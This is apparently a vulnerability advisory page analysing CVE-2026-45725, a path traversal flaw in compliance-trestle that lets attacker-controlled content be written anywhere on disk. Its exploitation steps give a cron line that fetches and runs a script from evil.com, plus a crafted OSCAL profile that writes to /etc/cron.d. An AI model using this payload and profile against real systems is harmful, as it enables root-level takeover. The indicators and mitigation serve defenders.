CVE-2026-45725
Python vulnerability analysis and mitigation

Overview

CVE-2026-45725 is a path traversal vulnerability (CWE-73) in the compliance-trestle Python library's remote fetching cache mechanism that enables arbitrary file write with attacker-controlled content to the filesystem. The vulnerability affects compliance-trestle versions >= 4.0.0 through <= 4.0.2 and all versions < 3.12.2 (pip package). It was published and patched on May 27, 2026. The CVSS v4.0 base score is 7.1 (High) (GitHub Advisory, OSCAL Advisory).

Technical details

The root cause is improper external control of file name or path (CWE-73 / CWE-22): both HTTPSFetcher and SFTPFetcher in trestle/core/remote/cache.py construct the local cache file path directly from the URL's path component via urlparse() without sanitizing ../ sequences. Because pathlib.Path(u.path).parent preserves traversal sequences, a URL such as https://evil.com/../../../../../../../tmp/trestle_pwned.json causes cache_dir / hostname / "../../../../../../tmp" to resolve outside the intended .trestle/.cache/ directory. The library then calls mkdir(parents=True, exist_ok=True) to create intermediate directories and write_text(response.text) to write the full HTTP response body — fully attacker-controlled — to the traversed path, with no is_relative_to() boundary check. A public PoC script simulating the exact vulnerable code path is included in the advisory (GitHub Advisory, OSCAL Advisory).

Impact

Successful exploitation allows an attacker to write arbitrary, attacker-controlled content to any filesystem location writable by the process running compliance-trestle. This can lead to remote code execution via cron job injection (writing to /etc/cron.d/), SSH authorized key injection (writing to ~/.ssh/authorized_keys), configuration file overwrite (e.g., /etc/nginx/conf.d/), or Python path hijacking by placing a malicious .py file on sys.path. The vulnerability has high integrity impact on the vulnerable system; confidentiality and availability of the vulnerable system itself are not directly impacted, but RCE via secondary mechanisms can result in full system compromise (GitHub Advisory, OSCAL Advisory).

Exploitability

A public proof-of-concept script is included in the GitHub Security Advisory, demonstrating the cache path traversal and arbitrary file write. Exploitation requires low privileges (the attacker must be able to supply or influence an OSCAL profile that the target system processes) and no user interaction. There is no evidence of in-the-wild exploitation, no known threat actor attribution, and the CVE is not listed in the CISA KEV catalog as of the time of this report. EPSS score data is not yet available for this CVE (GitHub Advisory).

Exploitation steps

  1. Set up a malicious HTTPS server: Host a server at a domain the attacker controls (e.g., evil.com) that responds to any request with attacker-chosen content, such as a cron job payload: * * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash'.
  2. Craft a malicious OSCAL profile: Create a YAML profile with an imports href containing path traversal sequences pointing to the target write location, e.g.:
profile:
  uuid: "550e8400-e29b-41d4-a716-446655440000"
  metadata:
    title: "Malicious Profile"
    version: "1.0"
    last-modified: "2024-01-01T00:00:00+00:00"
    oscal-version: "1.0.4"
  imports:
    - href: "https://evil.com/../../../../../../../etc/cron.d/backdoor"
  1. Deliver the profile to the target: Cause the target system running a vulnerable version of compliance-trestle (>= 4.0.0, <= 4.0.2 or < 3.12.2) to process the malicious profile, e.g., by submitting it through a compliance workflow, CI/CD pipeline, or shared repository.
  2. Trigger remote fetch: When trestle processes the profile, HTTPSFetcher parses the URL, constructs the cache path without sanitizing ../, creates directories outside the cache root, and writes the HTTP response body (attacker-controlled cron payload) to /etc/cron.d/backdoor.
  3. Achieve RCE: The cron daemon picks up the injected job and executes the attacker's command as root, completing the attack chain (GitHub Advisory, OSCAL Advisory).

Indicators of compromise

  • File System: Unexpected files in /etc/cron.d/, /etc/cron.hourly/, or similar cron directories with content referencing external URLs or shell commands; new or modified ~/.ssh/authorized_keys or /root/.ssh/authorized_keys with unknown public keys; unexpected .py files in Python sys.path directories; unexpected files in /tmp/ with names matching OSCAL artifact patterns (e.g., trestle_pwned.json).
  • Logs: Application or system logs showing compliance-trestle processing OSCAL profiles with href values containing ../ sequences; HTTP requests from the trestle process to unexpected external domains; mkdir or file write operations to paths outside .trestle/.cache/ in audit logs.
  • Network: Outbound HTTPS or SFTP connections from the trestle process to unknown or suspicious domains, particularly those serving non-OSCAL content types; subsequent outbound connections from cron or shell processes to attacker-controlled infrastructure.
  • Process: Unexpected child processes spawned by cron (e.g., bash, curl, wget) executing commands referencing external URLs shortly after compliance-trestle profile processing (GitHub Advisory).

Mitigation and workarounds

Upgrade compliance-trestle to version 4.0.3 (for the v4.x branch) or 3.12.2 (for the v3.x branch), which introduce a new PathSecurityValidator class that blocks .. sequences in URL paths before cache path construction and performs a relative_to() boundary check as defense-in-depth. No configuration-based workaround is available for the vulnerable versions; upgrading is the only remediation. As an interim measure, restrict which OSCAL profiles are processed and ensure the trestle process runs with the minimum necessary filesystem permissions (GitHub Advisory, Patch Commit v4, Patch Commit v3).

Community reactions

The vulnerability was reported by researchers AnistoMejin and yantongggg and published by maintainer degenaro on May 27, 2026. The fix was merged promptly on the same day for both the v4.x and v3.x branches. No significant broader media coverage or notable community commentary beyond the advisory itself has been identified at this time (OSCAL Advisory).

Additional resources


SourceThis report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-59714HIGH7.1
  • Python logoPython
  • cpe:2.3:a:openwebui:open_webui
NoYesAug 13, 2026
CVE-2026-48099HIGH7.1
  • Python logoPython
  • python3-wsgidav+pam
NoYesAug 13, 2026
CVE-2026-45725HIGH7.1
  • Python logoPython
  • compliance-trestle
NoYesAug 13, 2026
CVE-2026-73652HIGH7.1
  • Python logoPython
  • vantage6
NoNoAug 13, 2026
CVE-2026-45774MEDIUM6.9
  • Python logoPython
  • compliance-trestle
NoYesAug 13, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management